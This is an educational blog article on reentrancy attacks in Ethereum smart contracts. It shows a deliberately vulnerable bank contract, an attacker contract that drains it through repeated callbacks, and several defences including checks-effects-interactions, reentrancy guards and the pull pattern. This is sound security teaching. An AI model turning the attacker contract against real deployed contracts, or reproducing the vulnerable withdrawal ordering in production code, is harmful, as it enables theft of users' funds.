Understanding Reentrancy Attacks in Smart Contracts

March 15, 2025
0x_darkart
Smart Contracts
10 min read

Reentrancy attacks remain one of the most devastating vulnerabilities in smart contract security. Despite being well-documented since the infamous DAO hack of 2016, they continue to plague DeFi protocols and other Ethereum applications, resulting in millions of dollars in losses. In this article, I'll break down what reentrancy attacks are, how they work, and most importantly, how to protect your smart contracts against them.

What is a Reentrancy Attack?

A reentrancy attack occurs when a function makes an external call to another untrusted contract before it resolves its own state. If the untrusted contract calls back into the original function, it can repeatedly execute the code before the first invocation is complete, potentially draining funds or manipulating state in unexpected ways.

The vulnerability exists because of how Ethereum's execution model works. When a contract calls an external function, the execution context shifts to the called contract, allowing it to perform actions before returning control to the original caller.

Solidity
// Vulnerable contract
contract VulnerableBank {
    mapping(address => uint) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        
        // This external call happens before updating the state
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        
        // State update happens after the external call
        balances[msg.sender] -= _amount;
    }
}

In the example above, the withdraw function sends Ether to the user before updating their balance. If the recipient is a malicious contract, it can call back into withdraw before the balance is updated, allowing it to withdraw more than its actual balance.

The Anatomy of a Reentrancy Attack

Let's examine how an attacker would exploit the vulnerable contract:

Solidity
// Malicious contract
contract Attacker {
    VulnerableBank public vulnerableBank;
    uint public amount;
    
    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
        amount = 1 ether;
    }
    
    // Function to start the attack
    function attack() external payable {
        require(msg.value >= amount, "Send more ETH");
        
        // Deposit into the vulnerable contract
        vulnerableBank.deposit{value: amount}();
        
        // Trigger the withdraw function, which will call the fallback
        vulnerableBank.withdraw(amount);
        
        // At this point, we've drained more than we deposited
        console.log("Attack completed. Balance:", address(this).balance);
    }
    
    // Fallback function that gets triggered when receiving ETH
    receive() external payable {
        // If there's still ETH in the vulnerable contract, withdraw again
        if (address(vulnerableBank).balance >= amount) {
            vulnerableBank.withdraw(amount);
        }
    }
}

The attack flow works like this:

  1. The attacker deploys the malicious contract and calls attack() with 1 ETH.
  2. The malicious contract deposits 1 ETH into the vulnerable bank.
  3. The malicious contract calls withdraw(1 ETH) on the vulnerable bank.
  4. The vulnerable bank sends 1 ETH to the malicious contract, triggering its receive() function.
  5. Before the vulnerable bank updates the attacker's balance, the receive() function calls withdraw(1 ETH) again.
  6. Steps 4-5 repeat until the vulnerable bank is drained of funds.
  7. Finally, all the nested calls complete, and the balances are updated only once per reentrancy.

Types of Reentrancy Attacks

Reentrancy vulnerabilities come in several forms:

1. Single-Function Reentrancy

This is the classic case we just examined, where a single function is reentered multiple times.

2. Cross-Function Reentrancy

In this case, the attacker reenters a different function that shares state with the original function.

Solidity
// Function A makes an external call
function withdrawAll() public {
    uint amount = balances[msg.sender];
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
    balances[msg.sender] = 0;
}

// Function B shares state with Function A
function transfer(address to, uint amount) public {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    balances[msg.sender] -= amount;
    balances[to] += amount;
}

An attacker could call withdrawAll(), and during the external call, reenter the contract through transfer(), manipulating the shared state before the first function completes.

3. Cross-Contract Reentrancy

This occurs when the reentrancy attack targets multiple contracts that interact with each other.

Preventing Reentrancy Attacks

There are several well-established patterns to prevent reentrancy attacks:

1. The Checks-Effects-Interactions Pattern

This is the most fundamental defense against reentrancy. Always follow this sequence:

  • Checks: Validate all preconditions
  • Effects: Update the contract's state
  • Interactions: Interact with external contracts
Solidity
// Secure implementation
function withdraw(uint _amount) public {
    // Checks
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    
    // Effects
    balances[msg.sender] -= _amount;
    
    // Interactions
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

2. Reentrancy Guards

Use a mutex to prevent reentrancy:

Solidity
// Using a reentrancy guard
contract SecureBank {
    mapping(address => uint) public balances;
    bool private locked;
    
    modifier nonReentrant() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }
    
    function withdraw(uint _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

3. Use OpenZeppelin's ReentrancyGuard

Instead of implementing your own guard, use the battle-tested implementation from OpenZeppelin:

Solidity
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint) public balances;
    
    function withdraw(uint _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

4. Consider Using the Pull Pattern

Instead of directly sending funds (push), let users withdraw their funds (pull):

Solidity
// Using the pull pattern
contract SecureBank {
    mapping(address => uint) public balances;
    mapping(address => uint) public pendingWithdrawals;
    
    // Request a withdrawal
    function requestWithdrawal(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        pendingWithdrawals[msg.sender] += _amount;
    }
    
    // Complete the withdrawal
    function completeWithdrawal() public {
        uint amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "No pending withdrawal");
        
        // Clear the pending withdrawal before sending
        pendingWithdrawals[msg.sender] = 0;
        
        // Send the funds
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Real-World Examples

Reentrancy attacks have been responsible for some of the largest hacks in DeFi history:

The DAO Hack (2016)

The original reentrancy attack that led to the Ethereum hard fork, resulting in the creation of Ethereum Classic. The attacker stole approximately 3.6 million ETH, worth about $60 million at the time.

Cream Finance (2021)

Cream Finance suffered a $130 million exploit due to a complex reentrancy vulnerability in their flash loan feature.

Fei Protocol (2022)

A cross-contract reentrancy vulnerability in Fei Protocol's Rari Capital Fuse pools led to a $80 million loss.

Conclusion

Reentrancy attacks remain a significant threat to smart contract security. By understanding how they work and implementing proper safeguards, developers can protect their contracts from these devastating exploits.

Always remember these key principles:

  • Follow the Checks-Effects-Interactions pattern
  • Use reentrancy guards for sensitive functions
  • Consider the pull pattern for fund withdrawals
  • Be aware of cross-function and cross-contract reentrancy
  • Always get your contracts audited by security professionals

By implementing these best practices, you can significantly reduce the risk of reentrancy vulnerabilities in your smart contracts and build more secure decentralized applications.

Share This Article

0x_darkart

0x_darkart

Web3 Security Researcher specializing in smart contract auditing and vulnerability research. With a background in both traditional cybersecurity and blockchain technology, I help projects secure their code before deployment.